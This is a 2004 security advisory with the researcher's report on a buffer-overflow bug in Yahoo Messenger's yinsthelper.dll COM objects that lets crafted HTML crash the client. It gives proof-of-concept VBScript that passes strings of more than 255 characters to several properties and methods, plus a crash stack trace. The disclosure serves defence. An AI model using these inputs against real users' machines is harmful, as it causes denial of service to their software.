Yahoo Messenger 'yinsthelper.dll' Overflow Lets Remote Users Crash the Client
SecurityTracker Alert ID:  1009914
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Updated:  Apr 26 2004
Original Entry Date:  Apr 22 2004
Impact:  Denial of service via network
Exploit Included:  Yes  
Version(s): 5.6
Description:  Rafel Ivgi (The-Insider) reported a denial of service vulnerability with Yahoo! Messenger. A remote user can create HTML that will cause Yahoo! Messenger to crash.

It is reported that Yahoo! Messenger installs 'yinsthelper.dll' and registers two vulnerable COM objects: 'YInstHelper.YInstStarter.1' and 'YInstHelper.YSearchSetting2'. A remote user can create HTML that references the objects with certain specially crafted property values that are greater than 255 bytes. Then, when the target user loads the HTML, the target user's Yahoo! Messenger client will crash, the report said.

The AppId, DesktopIcon, Test, Start2, and Set properties are reported to be vulnerable.

Some demonstration exploit examples are provided in the Source Message.

Impact:  A remote user can create HTML that, when loaded by the target user, will cause the target user's Yahoo! Messenger client to crash.
Solution:  No solution was available at the time of this entry.
Vendor URL:  messenger.yahoo.com/ (Links to External Site)
Cause:  Boundary error
Underlying OS:  Windows (Any)

2) Bug
======

Yahoo Messanger Installation, installs and registers "yinsthelper.dll" which
registers the
following COM objects:

YInstHelper.YInstStarter.1 - Vulnerable
YInstHelper.YAcs1
YInstHelper.YSearchSetting2 - Vulnerable

This type of object can be created localy & remotely!

For Example:
Set object = CreateObject("YInstHelper.YInstStarter.1" )

The vulnerability appears in the "AppId" property of the object.
The "AppId" recieves the following parameters:
object.AppId = AppId As String

Which means that the following assignment:
object.AppId =  [Long String - 'A'>255]
Will cause a Crash.

Stack Trace:
62013D00    8B80 14010000   MOV EAX,[EAX+114]
62013D06    8B08            MOV ECX,[EAX]         **** access violation
...
...
62013D0E    FF11            CALL [ECX]

ECX 620128BA yinsthel.620128BA
EDX 0012D400
EBX 00000000
ESP 0012D3F8
EBP 0012D40C
ESI 0012D41C
EDI 00000000
EIP 62013D06 yinsthel.62013D06

Another vulnerability appears in the "DesktopIcon" property of the object.
The "DesktopIcon" recieves the following parameters:
object.DesktopIcon = DesktopIcon As String

Which means that the following assignment:
object.DesktopIcon =  [Long String - 'A'>255]
Will cause a Crash.

Another vulnerability appears in the "Test" property of the object.
The "Test" recieves the following parameters:
object.Test = Teststr As String

Which means that the following assignment:
object.Test =  [Long String - 'A'>255]
Will cause a Crash.

Another vulnerability appears in the "Start2" function of the object.
The "Start2" recieves the following parameters:
object.Start2(bStrVal As String)

Which means that the following assignment:
object.Start2([Long String - 'A'>255])
Will cause a Crash.

Set object = CreateObject("YInstHelper.YSearchSetting2.1" )

Another vulnerability appears in the "Set" function of the object.
The "Set" recieves the following parameters:
object.Set(bStrVal As String)

Which means that the following assignment:
object.Set ([Long String - 'A'>255])
Will cause a Crash.
